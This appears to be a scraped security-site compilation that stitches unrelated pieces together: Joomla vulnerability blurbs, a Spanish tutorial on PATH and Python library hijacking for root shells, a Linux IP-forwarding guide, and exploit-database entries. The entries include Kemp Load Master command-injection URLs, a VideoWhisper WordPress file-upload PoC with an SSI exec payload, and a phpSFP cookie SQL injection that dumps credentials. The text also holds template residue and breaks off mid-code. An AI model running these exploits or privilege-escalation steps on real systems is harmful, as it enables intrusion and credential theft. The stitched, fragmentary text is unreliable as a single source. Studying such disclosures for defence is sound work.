The 'com_some' component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

El Path Hijacking y el Library Hijacking son dos técnicas básicas de escalada de privilegios, las cuales si se juntan con por ejemplo, privilegio SUID o sudo, puede llegar a ser peligroso desde el punto de vista de la seguridad.

Índice:

  • ¿Qué es el PATH?
  • Path Hijacking
  • Library Hijacking

¿Qué es el PATH?

Cuando ejecutamos un comando en una terminal o un cmd, como sabe la shell que esa palabra que hemos escrito corresponde a un comando con X función. ¿Qué decide que un comando sea detectado y otro no?:

image 42

Todo esto es gracias al PATH. El path es una variable de entorno la cual contiene rutas del sistema. Cuando ejecutamos un comando, el sistema va buscando algún archivo con el nombre del comando que hemos escrito, en cada ruta del path.

Es decir, por ejemplo, cuando escribimos pwd, el sistema irá buscando un archivo con el mismo nombre en los siguientes directorios con el siguiente orden:

image 43

Lo mismo pasaría en Windows:

image 44

Y también se aplica a lenguajes de programación, por ejemplo, python:

image 46

Solo se hace uso del path cuando se escribe rutas relativas:

image 45

En la primera ejecución, el sistema ha usado el path para encontrar donde estaba el binario de whoami, sin embargo, en la segunda no hace falta, porque ya le indicamos donde se encuentra. Por lo que de la segunda forma podemos evitar ataques como el path hijacking y el library hijacking. De cara al desarrollo de cualquier binario/script, es muy recomendable utilizar rutas absolutas siempre, tanto para comandos si estamos en un lenguaje de comandos como bash o librerías si estamos en un lenguaje de programación como por ejemplo python.

Path Hijacking

Para realizar el path hijacking he creado el siguiente programa en C:

image 47

Como vemos, el programa saca las 10 primeras líneas del archivo passwd dos veces, la primera se hace usando la ruta absoluta de head, y la segunda, de forma relativa. En este punto, compilamos con gcc para crear el binario:

image 48

Nota: en este caso lo hago con un binario compilado para poder hacer uso del permiso SUID de forma idónea.

Para ver de forma más clara el peligro de no usar rutas absolutas, le voy a asignar permiso SUID:

image 49

Con esto, si ejecutamos el binario desde el usuario normal lo haremos como el usuario root por el permiso SUID:

image 50

Con todo esto hecho, vamos a llevar a cabo el Path Hijacking, si hacemos un strings al binario podemos identificar que se está llamando al comando de forma relativa (esta sería una posible forma de identificarlo si no tenemos acceso al código original):

image 51

De esta forma podemos darnos cuenta, aunque no siempre se da el caso en el que podamos verlo.

Además, podemos fijarnos en que se está usando setuid en el código, esto significa que el código se ejecutará con el usuario del UID que indiquemos (ojo, aunque pongamos 0, no se ejecutará como root si no tiene el permiso SUID, necesitas por así decirlo un doble check, por eso además del setuid en 0, le ponemos el permiso SUID. Este doble check no aplicaría si fuésemos el usuario root, ya que tenemos privilegios totales, así que con setuid sería suficiente).

En este punto, vamos a cambiar el PATH añadiéndole la ruta actual y la propia variable del PATH, para no tener problemas de comandos:

image 52

En este punto, como el comando que queremos suplantar es head, creamos un archivo con el mismo nombre y que contenga el comando que queremos ejecutar, en mi caso, bash -p:

image 53

Con el path cambiado para que mire en la ruta actual y un archivo que suplante al head legítimo, si ejecutamos ahora el binario:

image 54

Vemos como en la parte del código que se ejecuta head de forma relativa, se ejecuta el comando que hemos escrito, de esta forma hemos ejecutado un path hijacking (secuestro del path) y conseguido una shell como root.

Library Hijacking

Entendiendo el path hijacking, el library hijacking es básicamente lo mismo, solo cambiando un poco el aspecto práctico. Vamos a usar el siguiente código en python:

image 55

Como vemos, la función del script es hacer una petición al blog y ver su código de respuesta:

image 56

Entonces, como se ve en el código, se está llamando a la librería requests de forma relativa:

image 58

Vamos a aprovecharnos de esto para ejecutar un Library Hijacking. Lo primero de todo es comprobar el path que sigue python3, esto lo podemos hacer con la librería sys:

image 60

Si nos fijamos, el primer sitio donde python comprueba de forma por defecto la existencia de la librería es en ' ', esto significa la ruta actual. Por lo que simplemente vamos a crear un archivo que se llame requests.py en la ruta actual:

image 61

De esta forma, si ejecutamos el script:

image 62

Conseguimos ejecutar el comando que hemos especificado, en este caso, una shell.

Ojo, en este caso, el privilegio SUID no se lo aplicamos a python, ya que al tratarse de un script, interfiere la propia capa de seguridad del propio permiso SUID:

image 64

Sin embargo, si podríamos aprovecharnos para convertirnos en root si por ejemplo tenemos privilegios sudo sobre la ejecución del script.

The 'com_car' component for Joomla! is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Configurar Linux para que actúe como Router (IP Forwarding)

HACKER · %s · %s

Podemos configurar un Linux como router de forma bastante sencilla. La idea, es comprobar si en la máquina Linux que usaremos como router, está el IP Forwarding activado, que es lo que permite el reenvío de paquetes. Por defecto, esta configuración estará desactivada.
Para este post estaremos usando las siguientes máquinas:
3 Equipos:Kali –> Mi equipo de atacanteIP: 192.168.10.10 Debian 1 –> Actuará como RouterIP: 192.168.10.20 y 192.168.20.10 –> 2 Interfaces de Red Debian 2 –> Servidor Apache 2 activadoIP: 192.168.20.20 Para comprobarlo, tendremos que mirar el contenido del archivo /proc/sys/net/ipv4/ip_forward.
Si está desactivado, el contenido será 0, por lo que, si queremos activarlo, tendremos que modificar su contenido a 1:
echo '1' > /proc/sys/net/ipv4/ip_forward
Teniendo este valor activado en el Debian 1, ya solo queda agregar el enrutamiento estático.
¡OJO!, importante, tendremos que agregar la ruta estática por supuesto a nuestro kali, pero no olvidemos que también tendremos que agregarla a la máquina con la que queramos interactuar de la otra red (Debian 2), para que las respuestas sepan llegar a nosotros.
Podemos ver las rutas estáticas con el siguiente comando:
Podemos agregar y eliminar rutas estáticas a nuestro antojo con los siguientes comandos (hace falta root):
Agregar: ip route add <ip de red a llegar>/<mascara de red en CIDR> via <ip del router> dev <interfaz a usar>
Eliminar: ip route delete <ip de red a llegar>/<mascara de red en CIDR> via <ip del router> dev <interfaz a usar>
De esta forma, en este caso, las rutas a agregar tanto en el Kali como en el Debian 2, serían las siguientes:
Kali: Debian 2: Teniendo el IP Forwarding ya activado en el Debian 1 y las rutas estáticas tanto en el Kali como en el Debian 2, ya podemos comunicarnos entre estos dos dispositivos sin ningún tipo de problema:
Y con esto ya habríamos configurado un Linux como router, además de hacer uso de ip route para agregar rutas que no tenemos de forma por defecto.

Vulnerability: From wp-content/plugins/videowhisper-video-presentation/vp/vw_upload.php Allows various remote unauthenticated file uploads, among the file types is html where the last 4 characters are only being checked in a file name to match which types are allowed. Because of this .shtml can be passed through and remote code execution if SSI is allowed.

Raven 1.0 - 'connector.asp' Arbitrary File Upload

HACKER · %s · %s

source: https://www.securityfocus.com/bid/51631/info Raven is prone to a vulnerability that lets an attacker upload and execute arbitrary script code in the context of the affected webserver process. The issue occurs because the application fails to sufficiently sanitize user-supplied input. Raven 1.0 is vulnerable; other versions may also be affected. http://www.example.com/[patch]/admin/fck2/editor/filemanager/browser/default/browser.html?Connector=connectors/asp/connector.asp&ServerPath=/forum/uploads/ http://www.example.com/forum/admin/fck2/editor/filemanager/browser/default/browser.html?Connector=connectors/asp/connector.asp&ServerPath=/forum/uploads/

Kemp Load Master 7.1.16 - Multiple Vulnerabilities

HACKER · %s · %s

# Exploit Title: Kemp Load Master - Multiple Vulnerabilities (RCE, CSRF, XSS, DoS) # Date: 01 April 2015 # Author: Roberto Suggi Liverani # Software Link: http://kemptechnologies.com/load-balancer/ # Version: 7.1.16 and previous versions # Tested on: Kemp Load Master 7.1-16 # CVE : CVE-2014-5287/5288 Link: http://blog.malerisch.net/2015/04/playing-with-kemp-load-master.html Kemp virtual load master is a virtual load-balancer appliance which comes with a web administrative interface. I had a chance to test it and this blog post summarises some of the most interesting vulnerabilities I have discovered and which have not been published yet. For those of you who want to try it as well, you can get a free trial version here: http://kemptechnologies.com/server-load-balancing-appliances/virtual-loadbalancer/vlm-download By default, Kemp web administrative interface is protected by Basic authentication, so the vulnerabilities discussed in the post below can either be exploited attacking an authenticated user via CSRF or XSS based attacks. The following vulnerabilities were discovered when looking at Kemp Load Master v.7.1-16 and some of them should be fixed in the latest version (7.1-20b or later). Change logs of the fixed issues can be found at the following page: "PD-2183 Functions have been added to sanitize input in the WUI in order to resolve some security issues – fix for CVE-2014-5287 and CVE-2014-5288". Remote Code Execution - status: fixed in 7.1.20b (reported in June 2014) - CVE-2014-5287/5288 An interesting remote code execution vector can be found through the attack payload below: http://x.x.x.x/progs/fwaccess/add/1|command The web application functionality is based on multiple bash scripts contained in the /usr/wui/progs folder. The application is using CGI so that the scripts can handle HTTP requests. We notice that if the result of the command on line 285 is not positive (check on 286), then seterrmsg function is called. On line 318 we see a dangerous "eval" against our parameters. By simply attempting multiple characters, the seterrmsg function is invoked and returns plenty of interesting information: http://x.x.x.x/progs/fwaccess/add/1'ls Response: HTTP/1.1 200 OK Date: Sat, 27 Dec 2014 23:25:55 GMT Server: mini-http/1.0 (unix) Connection: close Content-Type: text/html /usr/wui/progs/util.sh: eval: line 318: unexpected EOF while looking for matching `'' /usr/wui/progs/util.sh: eval: line 319: syntax error: unexpected end of file line 318 contains an eval against the $@ (which contains our arguments). The arguments are passed via the fwaccess page, where IFS is set with a slash "/" separator. By attempting the request below, it is possible to achieve code execution: http://x.x.x.x/progs/fwaccess/add/1|ls Response: Line 120 and line 190 reports an integer expression expected error, as our argument is "1|ls" is obviously no longer an integer. However, the command execution works fine, as we are redirecting output through the pipe character and to "ls" command. The application is flawed in so many other points, also, via HTTP POST requests Other injection points that were found: Page: /progs/geoctrl/doadd Method: POST Parameter: fqdn Page: /progs/networks/hostname Method: POST Parameter: host Page: /progs/networks/servadd Method: POST Parameter: addr Page: /progs/useradmin/setopts Method: POST Parameter: xuser So how can we exploit all this goodness? CSRF (Cross Site Request Forgery) - status: not fixed - reported in June 2014 We can use another vulnerability, such as CSRF - most of the pages of the administrative are vulnerable to this attack, so even though a user is authenticated via Basic authentication, the forged request will force the browser to pass the credentials within the HTTP request. Interestingly enough, there are some kind of protections against CSRF for critical functions, such as factory reset, shutdown and reset. However, they are flawed as well, as the "magic" token matches with the unix epoch timestamp, so it is predictable and can be passed within the request. Reflected and Stored XSS - status: partially fixed - reported on June 2014 Another way to attack users is via XSS - in this case, we have plenty of options, as both reflected and stored XSS are there. For instance, a user might want to CSRF -> Store XSS -> BeEF just to achieve persistence. Reflected XSS was found on this point: Page: /progs/useradmin/setopts Method: POST Parameter: xuser Stored XSS was found on the following points: Page: /progs/geoctrl/doadd Method: POST Parameter: fqdn A further injection points: Page: /progs/fwaccess/add/0 Method: POST Parameter: comment Page: /progs/doconfig/setmotd Method: POST Parameter: BeEF Module As part of this research, I have developed a BeEF module to take advantage of chaining these vulnerabilities together. It is always sweet to use a XSS as a starting point to perform code execution against an appliance. The github pull request for the module can be found here: https://github.com/beefproject/beef/pull/1104/files For this module, I wanted to use the beef.net.forge_request() function, using a POST method, required to exploit the above RCE vector attacks. However, POST method was not usable at moment of writing this module and @antisnatchor was very quick to fix it in this case. So if you want to try it, ensure you have the latest version of BeEF installed. Extra - bonus Denial of Service - status: unknown - reported on June 2014 It appears the thc-ssl-dos tool can bring down the Kemp Load Master administrative interface, which is served over SSL. The same goes if a balanced service is using SSL via Kemp Load Master. Shell-shock - status: unknown - reported in 2015 Obviously, the application is not immune from the infamous shell-shock vulnerability. This was found by my friend Paul Heneghan and then by a user complaining on the vendor's blog (the comment has been removed shortly after). For those of you who are more curios, the shell-shock vulnerability works perfectly via the User-Agent header, also in version 7.1-18 and possibly on version 7.1-20 as well. Funny enough, Kemp provides Web Application Firewall protection, but I wonder how they can "prevent" the OWASP Top Ten (as they claim here), if their main product is affected by so many critical vulnerabilities ;-) If you are keen for an extra-extra bonus, keep reading... Extra - extra bonus: No license, no web authentication However, most of the underlying functionality is still available and "attackable" without need of basic authentication. You can invalidate the license with a CSRF setting time far in the future ;-)

Title: Remote file upload vulnerability in videowhisper-video-conference-integration wordpress plugin v4.91.8 Author: Larry W. Cashdollar, @_larry0 Date: 2015-03-29 Download Site: https://wordpress.org/support/plugin/videowhisper-video-conference-integration Vendor: http://www.videowhisper.com/ Vendor Notified: 2015-03-31, won’t fix. http://www.videowhisper.com/tickets_view.php?t=10019545-1427810822 Vendor Contact: http://www.videowhisper.com/tickets_submit.php Advisory: http://www.vapid.dhs.org/advisory.php?v=116 Description: From their site "VideoWhisper Video Conference is a modern web based multiple way video chat and real time file sharing tool. Read more on WordPress Video Conference plugin home page." Vulnerability: ./videowhisper-video-conference-integration/vc/vw_upload.php Allows various remote unauthenticated file uploads, among the file types is html where the last 4 characters are only being checked in a file name to match which types are allowed. Because of this .shtml can be passed through and remote code execution is SSI is allowed. The code does not do any user access validation and therefore anyone can upload the following files to an unsuspecting wordpress site: .shtml,swf,.zip,.rar,.jpg,jpeg,.png,.gif,.txt,.doc,docx,.htm,html,.pdf,.mp3,.flv,.avi,.mpg,.ppt,.pps The if (strstr($filename,'.php')) exit; can be by passed by using the extension .Php but the file extension check would allow files like test.Php.shtml ./videowhisper-video-conference-integration/vc/vw_upload.php <?php if ($_GET["room"]) $room=$_GET["room"]; if ($_POST["room"]) $room=$_POST["room"]; $filename=$_FILES['vw_file']['name’]; include_once("incsan.php"); sanV($room); if (!$room) exit; sanV($filename); if (!$filename) exit; if (strstr($filename,'.php')) exit; //do not allow uploads to other folders if ( strstr($room,"/") || strstr($room,"..") ) exit; if ( strstr($filename,"/") || strstr($filename,"..") ) exit; $destination="uploads/".$room."/“; if ($_GET["slides"]) $destination .= "slides/“; $ext=strtolower(substr($filename,-4)); $allowed=array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".mp3",".flv",".avi",".mpg",".ppt",".pps”); if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'], $destination . $filename); ?>loadstatus=1 CVEID: TBD OSVDB: TBD Exploit Code: videowhisp_poc.php <?php $uploadfile="upexp.shtml"; $ch = curl_init("http://target_site/wp-content/plugins/videowhisper-video-conference-integration/vc/vw_upload.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('vw_file'=>"@$uploadfile",'name'=>'upexp.shtml','room'=>'.')); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?> upexp.shtml <html> <!--#exec cmd="/usr/bin/date > /tmp/p" --> this is html </html> The executeable should be located in wordpress/wp-content/plugins/videowhisper-video-conference-integration/vc/uploads

It helps to send messages, ads, events, news and so on. phpSFP is pretty popular more than its sale record thanks to nulled group (underground WebApp license crackers). [+] Background <3 ============================================================ I managed to track down a group of Vietnam-based Facebook spammer which posted ads on many FB groups I'm joined. And ended up with a website that is modified version (all phpSFP credits are removed) of phpSFP 1.4.1. so I did some matching and found the original application is phpSFP. Guess what happens when spammer mess up with offsec guy ;) [+] Exploit ============================================================ There are many possible ways to do SQLi, I will go with error-based which enabled by default on phpSFP xD $ curl http://path.to.phpsfp/index.php/login -b "login=1|||1' or extractvalue(rand(),concat(0x2e,user())) or '1|||1" in case you don't know, for further queries you have to change 'user()' to something else, e.g. $ curl http://path.to.phpsfp/index.php/login -b "login=1|||1' or extractvalue(rand(),concat(0x2e,(select concat_ws(0x3a,username,password) from users limit 1))) or '1|||2" don't forgot to do length()/substr() stuffs due to limitation of 32 characters in error message [+] Proof-of-Concept ============================================================ PoC Environment: Ubuntu 14.04, PHP 5.5.9, Apache 2.4.7 GET /index.php/login HTTP/1.1 Host: 192.168.33.103 Proxy-Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Cookie: login=1|||1' or extractvalue(rand(),concat(0x2e,(select concat_ws(0x3a,username,password) from users limit 1))) or '1|||2 HTTP/1.1 500 Internal Server Error Server: Apache/2.4.7 (Ubuntu) Date: Thu, 02 Apr 2015 13:15:08 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive Set-Cookie: ci_session=<deducted>; expires=Sat, 01-Apr-2017 13:15:08 GMT; Max-Age=63072000; path=/ Content-Length: 838 <html> <head> <title>Database Error</title> <style type="text/css"> .... <h1>A Database Error Occurred</h1> <p>Error Number: 1105</p><p>XPATH syntax error: 'admin:f0250d9b38c974122119abf826'</p><p> .... [+] Vulnerability Analysis ============================================================ I have analyzed on 1.5.6 (lastest version) and 1.4.1 (a popular edition released by nulled group) The bug itself is quite interesting.. the author did well in login function but failed to parameterized/escape SQL query in 'remember me' function in authentication phrase. ; phpSFP 1.5.6 File: application/models/auth.php function cookie() { if(get_cookie('login')) <-- if 'login' cookie is setted { list($id_user, $password, $access) = explode("|||", get_cookie('login')); <-- split by ||| // the magic happens here $qusers = $this->db->query("SELECT id FROM users WHERE id='".$id_user."' AND password='".$password."'"); ; phpSFP 1.4.1, same thing but in different file File: application/controllers/login.php public function index() { if(get_cookie('login')) <-- if 'login' cookie is setted { list($id_user, $password, $access) = explode("|||", get_cookie('login')); <-- split by ||| // the magic happens here $qusers = $this->db->query("SELECT id FROM users WHERE id='".$id_user."'
